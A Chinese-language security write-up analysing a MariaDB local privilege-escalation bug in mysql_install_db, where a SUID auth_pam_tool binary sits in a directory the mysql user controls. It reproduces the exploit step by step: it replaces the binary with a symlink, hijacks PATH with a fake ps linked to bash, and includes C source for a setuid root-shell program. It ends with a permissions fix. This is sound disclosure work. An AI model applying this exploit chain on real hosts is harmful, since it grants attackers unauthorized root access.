作者:Evi1hui@QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/3PqYHGklnTb-5eWuNammWA
MariaDB是MySQL數據庫系統的一個復刻,由社區開發,旨在繼續保持在GNU GPL下開源。甲骨文公司收購了 MySQL 后,有將 MySQL 閉源的潛在風險,因此社區采用分支的方式來避開這個風險。MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能輕松成為MySQL的代替品。近日,奇安信CERT在日常監測中從oss-security郵箱中監測到這枚MariaDB提權漏洞,經研判雖這個漏洞到達不了風險通告流程,但由于和監測到此漏洞比較有意思故有了下文展開分析。如有不足之處,歡迎批評指正。
根據oss-security郵件推送的上下文描述是在mysql_install_db腳本中配置不當導致的漏洞發生。
官方介紹:https://mariadb.com/kb/en/mysql_install_db/
根據官方描述,mysql_install_db用于初始化data數據目錄,且在數據庫中創建Mysql表。大概腳本是作為初始化數據等操作所使用。
docker環境搭建
- docker pull mariadb:10.4.8
- docker run -it 2ef19234ff46 /bin/bash
漏洞分析
首先定位漏洞點。
find / -name "mysql_install_db"

在bash腳本上下文中,如果$user被定義則能進入「配置不當」漏洞點。
chown $user "$pamtooldir/auth_pam_tool_dir"chmod 0700 "$pamtooldir/auth_pam_tool_dir"
這里配置了auth_pam_tool_dir目錄的歸屬權和所有權,權限歸屬于$user。 (這里是可控點之一)
chown 0 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool" chmod 04755 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool"
這里配置了auth_pam_tool文件為0(root)所有權,4755文件權限(4為suid權限)。想要進入這個漏洞點需要$srcdir變量值長度為0才能觸發。
關于suid屬性:
SUID屬性一般用在可執行文件上,當用戶執行該文件時,會「臨時擁有該執行文件的所有者權限」。一旦程序擁有SUID權限的話,運行該程序時會以最高權限運行。
回溯user
- $user

在腳本傳遞args參數時可控制$user變量。
- $srcdir

也在初始化操作時可控制變量,初始化時為空。
那么想要進入這個漏洞點需要user需要設置值。
結合上文描述使用此命令才能觸發漏洞點:
./mysql_install_db --user=mysql
漏洞復現
尋找suid屬性的程序
find /* -perm -u=s -type f 2>/dev/null
搜索到的suid屬性程序「auth_pam_tool」替換成我們的惡意suid程序。
1. rm auth_pam_tool2. ln -s /root/pwn auth_pam_tool3. export PATH=.:$PATH4. ln -s /bin/bash ps
編寫一個具有suid權限的惡意程序:
#include <unistd.h>#include <stdlib.h>int main(void){ setuid(0); setgid(0); system("ps"); return 0;}

切換回root,在root權限下運行mysql_install_db腳本(觸發修改chmod命令)

再回到mysql用戶權限下執行auth_pam_tool

提權成功。
可以看到這個漏洞是由于suid與目錄權限設置不當,才導致被提權利用的風險。建議在修復中設置auth_pam_tool_dir目錄權限為root所有:
root:mysql 0750 /usr/lib/mysql/plugin/auth_pam_tool_dir
參考文檔:
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1127/
暫無評論